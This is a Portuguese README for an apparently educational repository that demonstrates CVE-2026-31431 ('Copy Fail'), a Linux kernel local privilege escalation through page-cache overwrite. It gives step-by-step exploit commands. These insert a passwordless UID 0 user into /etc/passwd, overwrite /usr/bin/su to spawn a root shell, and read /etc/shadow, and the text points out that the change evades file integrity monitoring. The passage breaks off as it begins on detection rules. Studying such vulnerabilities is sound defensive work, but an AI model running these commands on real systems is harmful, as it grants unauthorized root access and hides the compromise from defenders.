
Uma demonstração e explicação do CVE-2026-31431
Uma demonstração e explicação da CVE-2026-31431, a vulnerabilidade de Escalação de Privilégios Local Copy Fail no Kernel do Linux. A vulnerabilidade permite que arquivos abertos com permissão de leitura tenham seus dados sobrescritos no page cache.
Este repositório é apenas para fins educacionais e ilustra a vulnerabilidade em um ambiente controlado. Os arquivos incluídos são:
├── exploit
│ ├── copy_fail.py # Exploit personalizado que pode ter como alvo qualquer arquivo com permissões de leitura
│ ├── original_payload.txt # Uma cópia do payload usado no exploit original
│ ├── copy_fail_original.py # Exploit original que sobrescreve /usr/bin/su
│ └── copy_fail_readable.py # Exploit original em um formato mais legível com uma explicação do payload
├── README.md
└── Vagrantfile # Configuração para a VM Vagrant executando Ubuntu 22.04
A vulnerabilidade, chamada Copy Fail, está presente em kernels Linux de 2017 a 2026 devido a uma falha lógica em algif_aead. Foi atribuída a CVE-2026-31431 com uma pontuação CVSS de 7.8, resultando em uma classificação de alta severidade. O exploit é determinístico e pode contornar ferramentas tradicionais de monitoramento de integridade de arquivos.
Provas de conceito foram publicadas em várias linguagens, incluindo C, Python e Go, mas para esta demonstração é usado Python e requer versão do Python 3.10 ou superior. Este exploit requer execução de código local como um usuário sem privilégios e pode ser usado para escalação de privilégios local.
As seções abaixo são:
Certifique-se de ter o Vagrant e o QEMU instalados. Em seguida, clone este repositório e navegue até o diretório do projeto.
vagrant up
vagrant ssh
Dentro da VM, podemos testar os limites de nossas capacidades.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # Somos solicitados a senha de root, que não temos
stat /usr/bin/su # Temos permissões de leitura e execução
stat /etc/passwd # Temos permissão de leitura
stat /etc/shadow # Não temos permissões
Estamos obviamente limitados em nossas capacidades, mas podemos usar a vulnerabilidade para escalar privilégios.
Para entender a vulnerabilidade, vamos sobrescrever um arquivo fictício e ver o que acontece.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Temos um arquivo com três linhas. A primeira linha tem 6 bytes (incluindo a nova linha), a segunda linha tem 2 bytes, e a terceira linha tem um único byte. Isso é importante porque o exploit sobrescreve dados em blocos de 4 bytes, e preenchemos o payload para completá-lo.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Podemos ver que substituímos os primeiros 8 bytes do arquivo com nosso payload. Há dois caracteres que estão lá mas não são imprimíveis. Abra o arquivo no nano para verificar.
Mas isso não é muito empolgante, então vamos passar para escrever em arquivos para os quais não temos permissões de escrita.
Podemos sobrescrever o conteúdo de /etc/passwd para adicionar um usuário com privilégios de root mas sem senha.
cat /etc/passwd
A primeira linha contém o usuário root e contém 8 grupos de 4 caracteres (incluindo a nova linha). Está formatada da seguinte forma root:x:0:0:root:/root:/bin/bash, e os valores referem-se a nome de usuário, senha, UID, GID, diretório home, shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Adicionamos um novo usuário hackd com UID 0 e GID 0, o que significa que ele tem privilégios de root. O campo de senha está vazio, então podemos fazer login sem senha.
su hackd
id
cat /etc/shadow
No exploit original, o binário /usr/bin/su é sobrescrito com instruções para executar um shell, permitindo ao atacante obter privilégios de root ao executar su. Podemos recriar este exploit tendo como alvo /usr/bin/su com o payload original de um arquivo.
Observe que isso destrói o binário su neste page cache.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Com o payload no lugar, podemos executar su e obter privilégios de root. Isso abre um shell com id de usuário 0, que normalmente é o usuário root, mas se a demonstração acima foi realizada, seria o usuário hackd que criamos. Este exploit abriria um shell mesmo se o usuário root tivesse uma senha.
su
id
Este exploit não modifica o arquivo em disco, mas sim o estado do page-cache. Como resultado, ferramentas tradicionais de monitoramento de integridade de arquivos que verificam alterações em arquivos no disco não detectam este exploit.
Para demonstrar isso, execute o(s) exploit(s) acima e depois, após reiniciar a VM, verifique o conteúdo do arquivo alvo.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # O arquivo está inalterado no disco
Regras de detecção são compartilhadas em repositórios GitHub da comunidade que tentam detectar indicadores de rede ou padrões de script conhecidos. Essas regras de detecção são baseadas em artefatos públicos de PoC, payloads conhecidos, fragmentos de código e URLs.
Por exemplo, o seguinte detectaria fragmentos de código específicos relacionados a PoC ou payloads codificados: